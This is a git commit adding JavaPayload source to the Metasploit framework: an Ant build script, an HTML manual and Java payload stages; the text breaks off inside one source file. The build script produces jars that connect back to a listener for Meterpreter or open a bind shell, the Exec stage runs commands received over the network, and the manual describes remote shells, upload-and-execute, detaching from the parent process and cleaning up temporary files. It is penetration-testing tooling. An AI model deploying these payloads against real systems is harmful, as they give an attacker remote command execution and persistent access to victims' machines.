add source code for javapayload, thanks mihi. see #406
git-svn-id: file:///home/svn/framework3/trunk@10075 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
249016056e
commit
232af015cb
|
@ -0,0 +1,6 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<classpath>
|
||||||
|
<classpathentry kind="src" path="src"/>
|
||||||
|
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/jre6"/>
|
||||||
|
<classpathentry kind="output" path="bin"/>
|
||||||
|
</classpath>
|
|
@ -0,0 +1,17 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<projectDescription>
|
||||||
|
<name>JavaPayload4Meterpreter</name>
|
||||||
|
<comment></comment>
|
||||||
|
<projects>
|
||||||
|
</projects>
|
||||||
|
<buildSpec>
|
||||||
|
<buildCommand>
|
||||||
|
<name>org.eclipse.jdt.core.javabuilder</name>
|
||||||
|
<arguments>
|
||||||
|
</arguments>
|
||||||
|
</buildCommand>
|
||||||
|
</buildSpec>
|
||||||
|
<natures>
|
||||||
|
<nature>org.eclipse.jdt.core.javanature</nature>
|
||||||
|
</natures>
|
||||||
|
</projectDescription>
|
|
@ -0,0 +1,12 @@
|
||||||
|
#Tue Aug 17 23:14:37 CEST 2010
|
||||||
|
eclipse.preferences.version=1
|
||||||
|
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
|
||||||
|
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.1
|
||||||
|
org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
|
||||||
|
org.eclipse.jdt.core.compiler.compliance=1.3
|
||||||
|
org.eclipse.jdt.core.compiler.debug.lineNumber=generate
|
||||||
|
org.eclipse.jdt.core.compiler.debug.localVariable=generate
|
||||||
|
org.eclipse.jdt.core.compiler.debug.sourceFile=generate
|
||||||
|
org.eclipse.jdt.core.compiler.problem.assertIdentifier=ignore
|
||||||
|
org.eclipse.jdt.core.compiler.problem.enumIdentifier=ignore
|
||||||
|
org.eclipse.jdt.core.compiler.source=1.3
|
Binary file not shown.
|
@ -0,0 +1,68 @@
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<project name="JavaPayload4Meterpreter" default="jar">
|
||||||
|
|
||||||
|
<target name="clean">
|
||||||
|
<delete dir="build" />
|
||||||
|
</target>
|
||||||
|
|
||||||
|
<target name="compile">
|
||||||
|
<mkdir dir="build" />
|
||||||
|
<javac srcdir="src" destdir="build" source="1.1" target="1.1" debug="no" />
|
||||||
|
</target>
|
||||||
|
|
||||||
|
<target name="jar" depends="compile">
|
||||||
|
<!-- main jar -->
|
||||||
|
<jar destfile="JavaPayload4Meterpreter.jar" basedir="build" />
|
||||||
|
<!-- example 1: standalone JSh -->
|
||||||
|
<propertyfile file="build/metasploit.dat">
|
||||||
|
<entry key="LPORT" value="0" />
|
||||||
|
<entry key="EmbeddedStage" value="JSh"/>
|
||||||
|
</propertyfile>
|
||||||
|
<jar destfile="example-standalone-jsh.jar">
|
||||||
|
<manifest>
|
||||||
|
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||||
|
</manifest>
|
||||||
|
<fileset dir="build">
|
||||||
|
<include name="metasploit/Payload.class"/>
|
||||||
|
<include name="javapayload/stage/Stage.class"/>
|
||||||
|
<include name="javapayload/stage/JSh*.class"/>
|
||||||
|
<include name="metasploit.dat"/>
|
||||||
|
</fileset>
|
||||||
|
</jar>
|
||||||
|
<delete file="build/metasploit.dat"/>
|
||||||
|
<!-- example 2: reverse meterpreter (like loader.jar) -->
|
||||||
|
<propertyfile file="build/metasploit.dat">
|
||||||
|
<entry key="LPORT" value="4444" />
|
||||||
|
<entry key="LHOST" value="127.0.0.1" />
|
||||||
|
<entry key="EmbeddedStage" value="Meterpreter"/>
|
||||||
|
</propertyfile>
|
||||||
|
<jar destfile="example-reverse-meterpreter.jar">
|
||||||
|
<manifest>
|
||||||
|
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||||
|
</manifest>
|
||||||
|
<fileset dir="build">
|
||||||
|
<include name="metasploit/Payload.class"/>
|
||||||
|
<include name="javapayload/stage/Stage.class"/>
|
||||||
|
<include name="com/metasploit/meterpreter/MemoryBufferURL*.class"/>
|
||||||
|
<include name="javapayload/stage/Meterpreter.class"/>
|
||||||
|
<include name="metasploit.dat"/>
|
||||||
|
</fileset>
|
||||||
|
</jar>
|
||||||
|
<delete file="build/metasploit.dat"/>
|
||||||
|
<!-- example 3: spawning bind -->
|
||||||
|
<propertyfile file="build/metasploit.dat">
|
||||||
|
<entry key="Spawn" value="2"/>
|
||||||
|
<entry key="LPORT" value="5555" />
|
||||||
|
</propertyfile>
|
||||||
|
<jar destfile="example-spawn-bind.jar">
|
||||||
|
<manifest>
|
||||||
|
<attribute name="Main-Class" value="metasploit.Payload"/>
|
||||||
|
</manifest>
|
||||||
|
<fileset dir="build">
|
||||||
|
<include name="metasploit/Payload.class"/>
|
||||||
|
<include name="metasploit.dat"/>
|
||||||
|
</fileset>
|
||||||
|
</jar>
|
||||||
|
<delete file="build/metasploit.dat"/>
|
||||||
|
</target>
|
||||||
|
</project>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,331 @@
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style type="text/css">
|
||||||
|
body {
|
||||||
|
font-family: Verdana, Arial, sans-serif;
|
||||||
|
font-size: 10pt;
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
margin-left: 2em;
|
||||||
|
margin-right: 2em;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<title>JavaPayload4Metasploit - Single payload loader class to
|
||||||
|
be used in the Metasploit project</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>JavaPayload4Metasploit - Single payload loader class to be used
|
||||||
|
in the Metasploit project</h1>
|
||||||
|
|
||||||
|
<p><i>© 2010 Michael 'mihi' Schierl, <tt><schierlm
|
||||||
|
at users dot sourceforge dot net></tt></i></p>
|
||||||
|
|
||||||
|
<h2>Introduction</h2>
|
||||||
|
|
||||||
|
<p>The <a href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>s
|
||||||
|
contain useful payloads written in pure Java. But they assume that the
|
||||||
|
attacker has a Java VM on his machine, as the the builders and stage
|
||||||
|
handlers are written in Java. In addition, when creating a new payload
|
||||||
|
class that should reside in a signed jar, the jar has to be re-signed as
|
||||||
|
classes have changed.</p>
|
||||||
|
|
||||||
|
<p>In contrast, this package contains a single <i>metasploit.Payload</i>
|
||||||
|
class which is configured by a property file in the classpath (i. e. in
|
||||||
|
the same jar). As it is possible to add unsigned resources to a jar
|
||||||
|
without requiring to re-sign it, and as it is easy to manipulate zip/jar
|
||||||
|
files from Ruby, this makes it possible to leverage the powers of
|
||||||
|
JavaPayload from Metasploit which is written in Ruby and not in Java.</p>
|
||||||
|
|
||||||
|
<h2>System requirements</h2>
|
||||||
|
|
||||||
|
<p>Same as JavaPayload. JRE 1.2 on the victim machine is enough <tt>:-)</tt></p>
|
||||||
|
|
||||||
|
<p>On the attacker machine, no Java at all is required.</p>
|
||||||
|
|
||||||
|
<h2>How to use the <i>Payload</i> class.</h2>
|
||||||
|
|
||||||
|
<p>The <i>Payload</i> class is (among a collection of JavaPayload
|
||||||
|
stage classes) stored inside <tt>JavaPayload4Meterpreter.jar</tt>.</p>
|
||||||
|
|
||||||
|
<p>It is a standard java main class (i. e. it has a <tt>public
|
||||||
|
static void main(String[])</tt> method), so the most obvious way to invoke it
|
||||||
|
is putting it into a Jar file whose manifest's <tt>Main-Class</tt>
|
||||||
|
attribute is <tt>metasploit.Payload</tt>. The resuling jar can be
|
||||||
|
started using <tt>java -jar jarfile.jar</tt>. There are 3 example jars
|
||||||
|
available that use this technique; they are described later.</p>
|
||||||
|
|
||||||
|
<p>Alternatively, the main class can of course be called from other
|
||||||
|
classes, like <tt>metasploit.Payload.main(null);</tt>, as the arguments
|
||||||
|
parameter is ignored. Note that in a sandboxed environment the caller
|
||||||
|
needs to have all permissions, and also the <i>Payload</i> class has to
|
||||||
|
be loaded with all permissions. In case there is untrusted code on the
|
||||||
|
stack trace (but the direct caller has all permissions), the call has to
|
||||||
|
be wrapped in a <a
|
||||||
|
href="http://download.oracle.com/javase/1.4.2/docs/api/java/security/AccessController.html#doPrivileged(java.security.PrivilegedExceptionAction)">doPrivileged</a>
|
||||||
|
call (like it is done in the several well known public exploits for
|
||||||
|
CVE-2008-5353).</p>
|
||||||
|
|
||||||
|
<p>Once loaded, the class will lookup a file called <tt>/metasploit.dat</tt>
|
||||||
|
from the class path and load it as a <a
|
||||||
|
href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/Properties.html#load(java.io.InputStream)">Property
|
||||||
|
file</a> (basically a text file with <tt>Name=value</tt> lines, but note
|
||||||
|
that some special characters need escaping). If the file cannot be
|
||||||
|
found, default values are used.</p>
|
||||||
|
|
||||||
|
<p>Depending on the property values (see below), the class will then
|
||||||
|
optionally write itself to disk and spawn a sub-process (once or several
|
||||||
|
times) to disconnect the payload from the calling process. All temporary
|
||||||
|
files will be deleted afterwards. (Even on Windows it is possible to
|
||||||
|
delete a running class file as technically, not the class file but the
|
||||||
|
Java VM is running).</p>
|
||||||
|
|
||||||
|
<p>After that, it will either listen on a port and accept a socket,
|
||||||
|
create an active socket connection, or (for debugging purposes) just
|
||||||
|
uses standard input and standard output; in any case, the resulting
|
||||||
|
input/output streams are used for the staging</p>
|
||||||
|
|
||||||
|
<p>The property file can configure an <i>embedded stage</i> which
|
||||||
|
will be loaded directly from the current classloader (i. e. JAR). Note
|
||||||
|
that this feature cannot be used from a sub-process, as the rest of the
|
||||||
|
JAR file will not be available any longer there.</p>
|
||||||
|
|
||||||
|
<p>If no embedded stage is configured, the stage is loaded from the
|
||||||
|
input stream instead (see below for the data format).</p>
|
||||||
|
|
||||||
|
<p>Once the stage is loaded, the streams are handed to the stage.
|
||||||
|
Stages may require optional parameters (a string) which can be given
|
||||||
|
either in the property file or by using the <tt>SendParameters</tt>
|
||||||
|
stage from JavaPayload.</p>
|
||||||
|
|
||||||
|
<p>When the stage quits, the payload class terminates and cleans up
|
||||||
|
after itself if needed.</p>
|
||||||
|
|
||||||
|
<h2>Supported properties (and their default values)</h2>
|
||||||
|
|
||||||
|
<h3><tt>Spawn</tt>(<tt>=0</tt>)</h3>
|
||||||
|
|
||||||
|
<p>The number of java processes that should be spawned. <tt>0</tt>
|
||||||
|
will run the payload inside the original process, <tt>1</tt> will spawn
|
||||||
|
once (to continue running when the original process terminates), and <tt>2</tt>
|
||||||
|
will spawn twice (on certain popular operating systems it is impossible
|
||||||
|
to obtain parent process informaion if the parent process has already
|
||||||
|
died).</p>
|
||||||
|
|
||||||
|
<h3><tt>EmbeddedStage</tt>(<tt>=</tt>)</h3>
|
||||||
|
|
||||||
|
<p><b>Note: </b> this option will not work with the <tt>Spawn</tt>
|
||||||
|
option!</p>
|
||||||
|
|
||||||
|
<h3><tt>StageParameters</tt>(<tt>=</tt>)</h3>
|
||||||
|
|
||||||
|
<p>Additional parameters to be used by the stage, regardless whether
|
||||||
|
it was embedded or not. Only few stages support/require parameters.</p>
|
||||||
|
|
||||||
|
<h3><tt>LPORT</tt>(<tt>=4444</tt>)</h3>
|
||||||
|
|
||||||
|
<p>Port to listen on or to connect to (if <tt>LHOST</tt> is also
|
||||||
|
set). If explicitly set to <tt>0</tt>, no connection will be made, but
|
||||||
|
standard input/output streams will be used instead.</p>
|
||||||
|
|
||||||
|
<h3><tt>LHOST</tt>(<tt>=<a></a></tt>)</h3>
|
||||||
|
|
||||||
|
<p>Host to connect to. If not set, the payload will listen instead.</p>
|
||||||
|
|
||||||
|
<h2>Staging protocol</h2>
|
||||||
|
|
||||||
|
<p>The staging protocol is quite simple. All classes are sent
|
||||||
|
uncompressed (as they are inside the .jar file). Each class is prefixed
|
||||||
|
by a 32-bit big-endian size. After the last class, a size of 0 is sent.
|
||||||
|
The classes will be defined in the order they are sent (i. e. they can
|
||||||
|
only refer to classes defined before), and the last sent class will be
|
||||||
|
loaded as a stage.</p>
|
||||||
|
|
||||||
|
<p>In case of an embedded stage, no staging is used - the stream is
|
||||||
|
directly passed to the stage.</p>
|
||||||
|
|
||||||
|
<h2>Supported stages (in alphabetical order)</h2>
|
||||||
|
|
||||||
|
<p>The stages are original <a
|
||||||
|
href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>
|
||||||
|
stages to make updates easier. All stages listed here can be used
|
||||||
|
without special "Java" tricks (like serialization or JDWP protocol), to
|
||||||
|
easily use them from Ruby.</p>
|
||||||
|
|
||||||
|
<h3><tt>Exec</tt></h3>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage classes</b></dt>
|
||||||
|
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||||
|
javapayload.stage.Exec</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Parameters</b></dt>
|
||||||
|
<dd><tt><b>Exec</b> <i>commandline</i></tt></dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage protocol</b></dt>
|
||||||
|
<dd>raw Input/output streams</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p>Execute an executable on the target machine and forward streams.
|
||||||
|
Stdout and Stderr are merged automatically.</p>
|
||||||
|
|
||||||
|
<h3><tt>JSh</tt></h3>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage classes</b></dt>
|
||||||
|
<dd>javapayload.stage.Stage, javapayload.stage.JShSignalSender,
|
||||||
|
javapayload.stage.JShStreamForwarder, javapayload.stage.JSh</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Parameters</b></dt>
|
||||||
|
<dd>Not supported</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage protocol</b></dt>
|
||||||
|
<dd>Plain text</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p>A simple shell written in pure Java.</p>
|
||||||
|
|
||||||
|
<pre>Supported commands:
|
||||||
|
help - show this help
|
||||||
|
info - list system properties
|
||||||
|
pwd - show current directory
|
||||||
|
cd - change directory
|
||||||
|
ls - list directory
|
||||||
|
exec - execute native command
|
||||||
|
cat - show text file
|
||||||
|
wget - download file
|
||||||
|
telnet - create TCP connection
|
||||||
|
paste - create text file
|
||||||
|
jobs - list or continue jobs
|
||||||
|
exit - Exit JSh</pre>
|
||||||
|
|
||||||
|
|
||||||
|
<h3><tt>Meterpreter</tt></h3>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage classes</b></dt>
|
||||||
|
<dd>javapayload.stage.Stage,
|
||||||
|
com.metasploit.meterpreter.MemoryBufferURLConnection,
|
||||||
|
com.metasploit.meterpreter.MemoryBufferURLStreamHandler,
|
||||||
|
javapayload.stage.Meterpreter</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Parameters</b></dt>
|
||||||
|
<dd>Optional parameter <tt>NoRedirect</tt> for debugging.</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage protocol</b></dt>
|
||||||
|
<dd>Meterpreter protocol</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p>Loader to load the Java version of Metasploit's own
|
||||||
|
post-exploitation toolkit.</p>
|
||||||
|
|
||||||
|
<h3><tt>SendParameters</tt></h3>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage classes</b></dt>
|
||||||
|
<dd><i>all classes needed by the stage to use</i>,
|
||||||
|
javapayload.stage.SendParameters</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Parameters</b></dt>
|
||||||
|
<dd>Not supported</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage protocol</b></dt>
|
||||||
|
<dd>First transfer of parameters, then as the stage to use</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p>"Intermediate" stage that can be used to change the stage
|
||||||
|
parameters in cases where they cannot be cast in stone when the payload
|
||||||
|
is built.</p>
|
||||||
|
|
||||||
|
<p>After sending the stage, but before sending data for the stage,
|
||||||
|
you have to send the parameters:</p>
|
||||||
|
|
||||||
|
<p>The parameters start with a unsigned big-endian 16-bit integer
|
||||||
|
that specifies the number of parameters. Then each parameter is sent in
|
||||||
|
Java's <a
|
||||||
|
href="http://download.oracle.com/javase/1.4.2/docs/api/java/io/DataInput.html#readUTF()">modified
|
||||||
|
UTF string format</a>. After that, the actual data for the stage can be
|
||||||
|
sent.</p>
|
||||||
|
|
||||||
|
<h3><tt>Shell</tt></h3>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage classes</b></dt>
|
||||||
|
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||||
|
javapayload.stage.Exec</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Parameters</b></dt>
|
||||||
|
<dd>Not supported</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage protocol</b></dt>
|
||||||
|
<dd>Plain text</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p>This stager loads /bin/sh on Unix systems and cmd.exe on Windows
|
||||||
|
systems, and else just behaves like the <tt>Exec</tt> stage.</p>
|
||||||
|
|
||||||
|
<h3><tt>SystemInfo</tt></h3>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage classes</b></dt>
|
||||||
|
<dd>javapayload.stage.Stage, javapayload.stage.SystemInfo</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Parameters</b></dt>
|
||||||
|
<dd>Not supported</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage protocol</b></dt>
|
||||||
|
<dd>Plain text</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p>This stage just returns some system and network information. The
|
||||||
|
input stream is ignored. Useful as an embedded stage for automatic data
|
||||||
|
gathering with <tt>netcat</tt>, but not useful for anything else.</p>
|
||||||
|
|
||||||
|
<h3><tt>UpExec</tt></h3>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage classes</b></dt>
|
||||||
|
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
|
||||||
|
javapayload.stage.UpExec</dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Parameters</b></dt>
|
||||||
|
<dd><b>UpExec</b> <i>program_name</i> <i>arguments</i></dd>
|
||||||
|
</dl>
|
||||||
|
<dl>
|
||||||
|
<dt><b>Stage protocol</b></dt>
|
||||||
|
<dd>raw Input/output streams</dd>
|
||||||
|
</dl>
|
||||||
|
|
||||||
|
<p>Acts like exec, just that the a file can be uploaded first
|
||||||
|
(stored with a random file name) which will be executed with parameters.</p>
|
||||||
|
|
||||||
|
<p>The file is uploaded directly after uploading the stage classes,
|
||||||
|
prefixed by a 32-bit big-endian integer size value.</p>
|
||||||
|
|
||||||
|
<h2>Included example jars</h2>
|
||||||
|
|
||||||
|
<h3><tt>example-reverse-meterpreter.jar</tt></h3>
|
||||||
|
|
||||||
|
<p>Will connect back to metasploit at localhost:4444. and try to
|
||||||
|
bootstrap meterpreter (via an embedded stage). Except for the hard-coded
|
||||||
|
address in the property file, it acts like <i>loader.jar</i>.</p>
|
||||||
|
|
||||||
|
<h3><tt>example-spawn-bind.jar</tt></h3>
|
||||||
|
|
||||||
|
<p>Will spawn 2 Java processes and then listen on port 5555 for
|
||||||
|
incoming connections. No embedded stages.</p>
|
||||||
|
|
||||||
|
<h3><tt>example-standalone-jsh.jar</tt></h3>
|
||||||
|
|
||||||
|
<p>Will run JSh on stdin/stdout. Example for the stdin/stdout
|
||||||
|
feature and useful for testing JSh easily.</p>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
68
external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLConnection.java
vendored
Normal file
68
external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLConnection.java
vendored
Normal file
|
@ -0,0 +1,68 @@
|
||||||
|
package com.metasploit.meterpreter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.net.MalformedURLException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLConnection;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An {@link URLConnection} for an URL that is stored completely in memory.
|
||||||
|
*
|
||||||
|
* @author mihi
|
||||||
|
*/
|
||||||
|
public class MemoryBufferURLConnection extends URLConnection {
|
||||||
|
|
||||||
|
private static List files = new ArrayList();
|
||||||
|
|
||||||
|
static {
|
||||||
|
// tweak the cache of already loaded protocol handlers via reflection
|
||||||
|
try {
|
||||||
|
Field fld = URL.class.getDeclaredField("handlers");
|
||||||
|
fld.setAccessible(true);
|
||||||
|
Hashtable handlers = (Hashtable) fld.get(null);
|
||||||
|
handlers.put("metasploitmembuff", new MemoryBufferURLStreamHandler());
|
||||||
|
} catch (Exception ex) {
|
||||||
|
throw new RuntimeException(ex.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create a new URL from a byte array and its content type.
|
||||||
|
*/
|
||||||
|
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
|
||||||
|
files.add(data);
|
||||||
|
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
|
||||||
|
}
|
||||||
|
|
||||||
|
private final byte[] data;
|
||||||
|
private final String contentType;
|
||||||
|
|
||||||
|
protected MemoryBufferURLConnection(URL url) {
|
||||||
|
super(url);
|
||||||
|
String file = url.getFile();
|
||||||
|
int pos = file.indexOf('/');
|
||||||
|
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
|
||||||
|
contentType = file.substring(pos + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connect() throws IOException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public InputStream getInputStream() throws IOException {
|
||||||
|
return new ByteArrayInputStream(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getContentLength() {
|
||||||
|
return data.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getContentType() {
|
||||||
|
return contentType;
|
||||||
|
}
|
||||||
|
}
|
17
external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java
vendored
Normal file
17
external/source/javapayload/src/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java
vendored
Normal file
|
@ -0,0 +1,17 @@
|
||||||
|
package com.metasploit.meterpreter;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLConnection;
|
||||||
|
import java.net.URLStreamHandler;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
|
||||||
|
*
|
||||||
|
* @author mihi
|
||||||
|
*/
|
||||||
|
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
|
||||||
|
protected URLConnection openConnection(URL u) throws IOException {
|
||||||
|
return new MemoryBufferURLConnection(u);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,60 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
|
||||||
|
public class Exec implements Stage {
|
||||||
|
|
||||||
|
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
|
for (int i = 0; i < parameters.length; i++) {
|
||||||
|
if (parameters[i].equals("--")) {
|
||||||
|
// separator found. The next parameter will be the module name, and
|
||||||
|
// all remaining parameters are for exec.
|
||||||
|
final String[] cmdarray = new String[parameters.length - i - 2];
|
||||||
|
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
|
||||||
|
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||||
|
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||||
|
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||||
|
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||||
|
proc.waitFor();
|
||||||
|
in.close();
|
||||||
|
out.close();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,346 @@
|
||||||
|
/*
|
||||||
|
* Java Payloads.
|
||||||
|
*
|
||||||
|
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
*
|
||||||
|
* - Redistributions of source code must retain the above copyright notice,
|
||||||
|
* this list of conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* - Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* - Neither name of the copyright holders nor the names of its
|
||||||
|
* contributors may be used to endorse or promote products derived from
|
||||||
|
* this software without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||||
|
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||||
|
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||||
|
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||||
|
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||||
|
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package javapayload.stage;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PipedInputStream;
|
||||||
|
import java.io.PipedOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.net.URL;
|
||||||
|
